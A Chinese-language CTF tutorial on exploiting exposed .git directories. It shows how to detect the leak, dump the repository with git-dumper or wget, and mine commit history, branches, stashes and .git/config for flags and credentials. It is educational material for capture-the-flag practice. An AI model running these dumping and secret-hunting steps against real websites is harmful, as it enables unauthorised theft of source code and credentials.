CTF中Git源代码泄露题目解题方法
- [1. 确认存在.git目录泄露](#1. 确认存在.git目录泄露)
- [2. 下载完整的.git目录](#2. 下载完整的.git目录)
- [3. 恢复Git仓库历史](#3. 恢复Git仓库历史)
- [4. 查找Flag的常见位置](#4. 查找Flag的常见位置)
- [5. 处理不完整的.git目录](#5. 处理不完整的.git目录)
- [6. 其他技巧](#6. 其他技巧)
- 示例流程
在CTF中遇到Git源代码泄露题目时,通常可以通过以下步骤解决:
1. 确认存在.git目录泄露
- 访问目标URL的
/.git/
路径(如http://example.com/.git/
),观察返回状态:- 403 Forbidden:可能存在目录,但无权限访问。
- 404 Not Found:目录不存在。
- 使用工具扫描目录(如
dirsearch
)确认是否存在.git
。
2. 下载完整的.git目录
- 工具推荐:
-
git-dumper(推荐):
bashpip install git-dumper git-dumper http://example.com/.git/ ./output
-
wget(手动下载):
bashwget -r --no-parent http://example.com/.git/
-
3. 恢复Git仓库历史
-
进入下载的目录,使用Git命令分析:
bashcd ./output git status # 查看未提交的更改 git log # 查看提交历史 git reflog # 查看所有操作记录(包括reset、rebase) git branch -a # 查看所有分支
4. 查找Flag的常见位置
-
历史提交中的敏感信息:
-
检查删除或修改的文件:
bashgit log --diff-filter=D --summary # 查找被删除的文件 git checkout <commit_hash>^ -- deleted_file.txt # 恢复被删除的文件
-
对比不同提交的差异:
bashgit diff <commit_hash_1> <commit_hash_2>
-
-
分支或标签中的未合并内容:
bashgit checkout feature-branch # 切换到其他分支 git tag -l # 查看所有标签
-
暂存区或工作区内容:
bashgit stash list # 查看暂存记录 git stash apply # 恢复最近的暂存内容
-
Git对象文件(手动解析):
bashgit cat-file -p <object_hash> # 查看对象内容(如commit、tree、blob)
5. 处理不完整的.git目录
- 若仓库不完整,使用工具修复:
-
git fsck:检查对象完整性。
-
scrabble:提取所有Git对象中的文件。
bashscrabble -i .git/objects/ -o extracted_files/
-
6. 其他技巧
-
检查.git/config:可能含敏感信息(如远程仓库密码)。
-
搜索所有文件内容:
bashgrep -rnw . -e "flag{"
示例流程
bash
# 下载.git目录
git-dumper http://ctf.example.com/.git/ ./leaked_repo
# 分析提交历史
cd leaked_repo
git log --oneline
# 恢复被删除的flag文件
git checkout abc123^ -- flag.txt
# 或切换到其他分支
git checkout dev-branch
通过以上步骤,通常可以找到隐藏在Git历史记录、分支或对象中的flag。注意仔细检查所有可能的位置,包括被删除或未提交的内容。